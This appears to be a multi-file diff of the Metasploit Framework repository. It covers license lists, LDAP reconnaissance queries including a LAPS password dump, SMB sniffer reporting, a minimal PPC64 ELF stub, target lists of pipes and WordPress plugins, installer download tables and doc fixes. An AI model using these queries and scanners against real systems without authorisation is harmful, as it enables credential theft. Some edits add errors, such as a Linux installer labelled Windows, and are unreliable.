rex-ole, 0.1.9, "New BSD"
rex-powershell, 0.1.101, "New BSD"
rex-random_identifier, 0.1.15, "New BSD"
rex-random_identifier, 0.1.16, "New BSD"
rex-registry, 0.1.6, "New BSD"
rex-rop_builder, 0.1.6, "New BSD"
rex-socket, 0.1.60, "New BSD"
rex-sslscan, 0.1.11, "New BSD"
rex-socket, 0.1.62, "New BSD"
rex-sslscan, 0.1.13, "New BSD"
rex-struct2, 0.1.5, "New BSD"
rex-text, 0.2.60, "New BSD"
rex-text, 0.2.61, "New BSD"
rex-zip, 0.1.6, "New BSD"
rexml, 3.4.1, "Simplified BSD"
rinda, 0.2.0, "ruby, Simplified BSD"
@@ -181,15 +183,15 @@ rspec-mocks, 3.13.2, MIT
rspec-rails, 7.1.1, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.13.2, MIT
rubocop, 1.67.0, MIT
rubocop-ast, 1.38.1, MIT
rubocop, 1.75.7, MIT
rubocop-ast, 1.44.1, MIT
ruby-macho, 4.1.0, MIT
ruby-mysql, 4.2.0, MIT
ruby-prof, 1.4.2, "Simplified BSD"
ruby-prof, 1.7.1, "Simplified BSD"
ruby-progressbar, 1.13.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
ruby_smb, 3.3.13, "New BSD"
ruby_smb, 3.3.15, "New BSD"
rubyntlm, 0.6.5, MIT
rubyzip, 2.4.1, "Simplified BSD"
sawyer, 0.9.2, MIT
@@ -211,7 +213,8 @@ timeout, 0.4.3, "ruby, Simplified BSD"
ttfunk, 1.8.0, "Nonstandard, GPL-2.0-only, GPL-3.0-only"
tzinfo, 2.0.6, MIT
tzinfo-data, 1.2025.1, MIT
unicode-display_width, 2.6.0, MIT
unicode-display_width, 3.1.4, MIT
unicode-emoji, 4.0.4, MIT
unix-crypt, 1.3.1, 0BSD
warden, 1.2.9, MIT
webrick, 1.9.1, "ruby, Simplified BSD"
@@ -249,7 +249,7 @@ queries:
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
- action: ENUM_LAPS_PASSWORDS
description: 'Dump info about computers that have LAPS enabled, and passwords for them if available.'
description: 'Dump info about computers that have LAPS v1 enabled, and passwords for them if available.'
filter: '(ms-MCS-AdmPwd=*)'
attributes:
- cn
@@ -395,4 +395,4 @@ queries:
- dNSHostname
- msSMSSiteCode
references:
- https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md
- https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md
+3 -3
View File
@@ -185,19 +185,19 @@ class SnifferSMB < BaseProtocolParser
report_note(
:host => src_ip,
:type => "smb_peer_os",
:data => s[:peer_os]
:data => { :peer_os => s[:peer_os] }
) if (s[:peer_os] and s[:peer_os].strip.length > 0)
report_note(
:host => src_ip,
:type => "smb_peer_lm",
:data => s[:peer_lm]
:data => { :peer_lm => s[:peer_lm] }
) if (s[:peer_lm] and s[:peer_lm].strip.length > 0)
report_note(
:host => src_ip,
:type => "smb_domain",
:data => s[:domain]
:data => { :domain => s[:domain] }
) if (s[:domain] and s[:domain].strip.length > 0)
end
+6
View File
@@ -67,6 +67,8 @@
<% description = "Module may cause a noise (Examples: audio output from the speakers or hardware beeps)." %>
<% elsif side_effect == "physical-effects" %>
<% description = "Module may produce physical effects (Examples: the device makes movement or flashes LEDs)." %>
<% elsif side_effect == "unknown-side-effects" %>
<% description = "Module side effects are unknown." %>
<% end %>
* **<%= side_effect %>:** <%= description %>
@@ -85,6 +87,8 @@
<% description = "The module isn't expected to get a shell reliably (such as only once)." %>
<% elsif reliability == "event-dependent" %>
<% description = "The module may not execute the payload until an external event occurs. For instance, a cron job, machine restart, user interaction within a GUI element, etc." %>
<% elsif reliability == "unknown-reliability" %>
<% description = "Module reliability is unknown." %>
<% end %>
* **<%= reliability %>:** <%= description %>
@@ -109,6 +113,8 @@
<% description = "Module may cause a resource (such as a file or data in a database) to be unavailable for the service." %>
<% elsif stability == "os-resource-loss" %>
<% description = "Modules may cause a resource (such as a file) to be unavailable for the OS." %>
<% elsif stability == "unknown-stability" %>
<% description = "Module stability is unknown." %>
<% end %>
* **<%= stability %>:** <%= description %>
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,35 @@
BITS 64
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 2, 2, 1, 0 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0 ;
dw 0x0200 ; e_type = ET_EXEC for an executable
dw 0x1500 ; e_machine = PPC64
dd 0x01000000 ; e_version
dq 0x7810000000000000 ; e_entry
dq 0x4000000000000000 ; e_phoff
dq 0 ; e_shoff
dd 0 ; e_flags
dw 0x4000 ; e_ehsize
dw 0x3800 ; e_phentsize
dw 0x0100 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf32_Phdr
dd 0x01000000 ; p_type = pt_load
dd 0x07000000 ; p_flags = rwx
dq 0 ; p_offset
dq 0x0010000000000000 ; p_vaddr
dq 0x0010000000000000 ; p_paddr
dq 0xefbeadde ; p_filesz
dq 0xefbeadde ; p_memsz
dq 0x0000100000000000 ; p_align
phdrsize equ $ - phdr
_start:
dq 0x8010000000000000
Binary file not shown.
+1
View File
@@ -23,3 +23,4 @@ W32TIME_ALT
wkssvc
PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER
db2remotecmd
CxUIUSvcChannel
+9 -6
View File
@@ -8,6 +8,7 @@ bulletproof-security
catch-themes-demo-import
chopslider
custom-registration-form-builder-with-submission-manager
depicter
download-manager
drag-and-drop-multiple-file-upload-contact-form-7
dukapress
@@ -26,7 +27,6 @@ learnpress
loginizer
masterstudy-lms-learning-management-system
modern-events-calendar-lite
modern-events-calendar-lite
nextgen-gallery
ninja-forms
paid-memberships-pro
@@ -45,7 +45,11 @@ simple-file-list
slideshow-gallery
sp-client-document-manager
subscribe-to-comments
suretriggers
tatsu
ultimate-member
user-registration
user-registration-pro
website-contact-form-with-file-upload
woocommerce-abandoned-cart
woocommerce-payments
@@ -53,18 +57,17 @@ wordpress-mobile-pack
wordpress-popular-posts
work-the-flow-file-upload
wp-automatic
wpdiscuz
wp-easycart
wp-fastest-cache
wp-file-manager
wp-gdpr-compliance
wp-mobile-detector
wp-mobile-edition
wp-symposium
wp-symposium
wp-time-capsule
wp-ultimate-csv-importer
wpdiscuz
wps-hide-login
wpshop
wp-symposium
wp-time-capsule
wptouch
wp-ultimate-csv-importer
wysija-newsletters
+10906 -2322
View File
File diff suppressed because it is too large Load Diff
@@ -85,7 +85,7 @@ Additionally any information about caveats, scenarios you have tested, custom op
should also go into this file.
## Checking Documentation Syntax
Once you have written the documentation, you then want to run `toos/dev/msftidy_docs.rb <path to documentation file>`. This will report on any
Once you have written the documentation, you then want to run `tools/dev/msftidy_docs.rb <path to documentation file>`. This will report on any
errors with your documentation file, which you will want to fix before submitting your PR. Notice however that if you get a warning about long lines,
these may be okay to ignore depending on the context. A good example is if a line is long merely because of a URL. Such warnings can be
safely ignored.
@@ -10,28 +10,38 @@ Updates are released about once every other week for Windows and Linux.
The pgp signatures below can be verified with the following [public key](https://pgp.mit.edu/pks/lookup?op=get&search=0xCDFB5FA52007B954)
|Download Link|File Type|SHA1|PGP|
|-|-|-|-|
| [metasploit-4.22.2-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
| [metasploit-4.22.2-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
| [metasploit-4.22.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe.asc)|
| [metasploit-4.22.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run.asc)|
| [metasploit-4.22.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.asc)|
| [metasploit-4.22.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.asc)|
| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.asc)|
| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.asc)|
| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.asc)|
| [metasploit-4.21.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.asc)|
| [metasploit-4.20.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.asc)|
| [metasploit-4.20.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.asc)|
| [metasploit-4.19.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.asc)|
| [metasploit-4.19.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run.asc)|
| [metasploit-4.19.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe.asc)|
| [metasploit-4.19.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run.asc)|
| [metasploit-4.18.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe.asc)|
| [metasploit-4.18.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run.asc)|
| [metasploit-4.17.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe.asc)|
| [metasploit-4.17.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run.asc)|
| Download Link |File Type| SHA | PGP |
|--------------------------------------------------------------------------------------------------------------------------------------------------------------|-|---------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------|
| [metasploit-4.22.7-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha256) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc) |
| [metasploit-4.22.7-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Windows 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha256) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc) |
| [metasploit-4.22.6-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe.asc) |
| [metasploit-4.22.6-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run.asc) |
| [metasploit-4.22.5-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe.asc) |
| [metasploit-4.22.5-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-linux-x64-installer.run.asc) |
| [metasploit-4.22.4-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-windows-x64-installer.exe.asc) |
| [metasploit-4.22.4-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-linux-x64-installer.run.asc) |
| [metasploit-4.22.3-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-windows-x64-installer.exe.asc) |
| [metasploit-4.22.3-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-linux-x64-installer.run.asc) |
| [metasploit-4.22.2-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-windows-x64-installer.exe.asc) |
| [metasploit-4.22.2-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-linux-x64-installer.run.asc) |
| [metasploit-4.22.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe.asc) |
| [metasploit-4.22.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run.asc) |
| [metasploit-4.22.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.asc) |
| [metasploit-4.22.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.asc) |
| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.asc) |
| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.asc) |
| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.asc) |
| [metasploit-4.21.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.asc) |
| [metasploit-4.20.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.asc) |
| [metasploit-4.20.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.asc) |
| [metasploit-4.19.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.asc) |
| [metasploit-4.19.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run.asc) |
| [metasploit-4.19.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe.asc) |
| [metasploit-4.19.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run.asc) |
| [metasploit-4.18.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe.asc) |
| [metasploit-4.18.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run.asc) |
| [metasploit-4.17.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe.asc) |
| [metasploit-4.17.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run.asc) |
## Metasploit Framework Source
@@ -6,7 +6,7 @@ Mentors: [@zerosteiner](https://github.com/zerosteiner), [@jmartin-r7](https://g
### Retain active status of authentication tokens
Many testing techniques interacting with web servers such as `XSS` rely on ensuring authentication obtained on a target be kept active. A mechanism for registering and maintaining open authentications identified during a test for the duration of the console session may provide an additional utility to enable more modules to target techniques that need valid authentication to be maintained. One such authentication token would be data retained in a cookie for a web service. This project would lay the groundwork for registering gathered or generated authenticaion tokens against a target to be refreshed and sustained until a console exits, or in some cases across console restarts.
Many testing techniques interacting with web servers such as `XSS` rely on ensuring authentication obtained on a target be kept active. A mechanism for registering and maintaining open authentications identified during a test for the duration of the console session may provide an additional utility to enable more modules to target techniques that need valid authentication to be maintained. One such authentication token would be data retained in a cookie for a web service. This project would lay the groundwork for registering gathered or generated authentication tokens against a target to be refreshed and sustained until a console exits, or in some cases across console restarts.
Difficulty: 2/5
@@ -52,7 +52,7 @@ Which returns the following response:
### Start the server
Use the following command to run the server with a configured uesrname and password:
Use the following command to run the server with a configured username and password:
```
$ ruby msfrpcd -U user -P pass -f
@@ -6,7 +6,7 @@ The term 'repo' is short for 'Repository.' Also known as 'fork' (as a noun).
## The Easy Way
The easiest way to keep in sync with master is to trash your fork of `metasploit-framework`, and re-fork. This is a surprisingly common practice, since most people in the world don't work with Metasploit every day. If you're the sort to be struck by hackerish inspiration every few months, and couldn't give a whit about preserving branches, history, or pull requests, simply nuke your local fork.
The easiest way to keep in sync with master is to trash your fork of `metasploit-framework`, and re-fork. This is a surprisingly common practice, since most people in the world don't work with Metasploit every day. If you're the sort to be struck by hackerish inspiration every few months, and couldn't give a with about preserving branches, history, or pull requests, simply nuke your local fork.
On your fork, in the GitHub UI, go to **Settings**, scroll down to the **Danger Zone**, and hit **Delete this repository**. Once you've re-authenticated, re-fork the `metasploit-framework` repository by going to the [Rapid7 repo](https://github.com/rapid7/metasploit-framework) and hit **Fork** as hard as you possibly can.
@@ -49,7 +49,7 @@ use auxiliary/scanner/mysql/mysql_login
run 'mysql://root: a b c p4$$w0rd@127.0.0.1'
```
Re-using MySQL credentials in a subnet:
Reusing MySQL credentials in a subnet:
```
use auxiliary/scanner/mysql/mysql_login
@@ -51,7 +51,7 @@ use auxiliary/scanner/postgres/postgres_login
run 'postgres://root: a b c p4$$w0rd@127.0.0.1'
```
